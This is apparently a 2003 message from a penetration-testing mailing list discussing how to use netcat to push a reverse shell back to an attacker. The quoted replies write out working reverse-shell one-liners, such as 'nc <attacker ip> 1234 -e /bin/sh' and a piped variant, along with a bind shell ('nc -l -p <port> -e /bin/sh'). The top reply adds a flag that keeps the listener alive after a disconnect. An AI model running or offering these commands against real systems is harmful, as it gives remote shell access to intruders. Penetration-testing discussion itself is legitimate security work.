From: the1@unixclan.net
Date: Tue Mar 18 2003 - 17:25:47 EST
The -L option should probably also be used because it will cause netcat to
remain "listening" for new connections even after one or more
disconnections. This is only implimented in the NT version of
netcat, as far as I know.
On Tue, 18 Mar 2003, Paul Bakker wrote:
> The second command (pushing the shell), can be better written as:
> nc <attacker ip> 1234 -e /bin/sh
>
> (This works on both Linux/Windows environments with the current netcat versions,
> probably with older versions as well)
>
> This saves you the trouble of connecting stdin and stdout to two seperate ports
> and gives you a shell as you expect it!..
>
> Paul Bakker
>
> -----Oorspronkelijk bericht-----
> Van: Steven Gill [mailto:gman1120@hotmail.com]
> Verzonden: maandag 17 maart 2003 4:27
> Aan: filip@securax.be; pen-test@securityfocus.com
> Onderwerp: RE: command-line reverse connection tunnel?
>
>
> Yes, you can use netcat to send a shell back, but it is a pain to use it for
> port redirection. E.G. for a shell you can:
>
> nc -l -p <port> -e /bin/sh
>
> or
>
> nc <attacker ip> 1234 | /bin/sh | nc <attacker ip> 1235 and have stdin and
> stdout connected to the above ports respectively. But we want to use more
> robust services other than shell, such as getting GUI on Windows via
> terminal services or other more complex protocols.
>
> ----------------------------------------------------------------------------
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>
>
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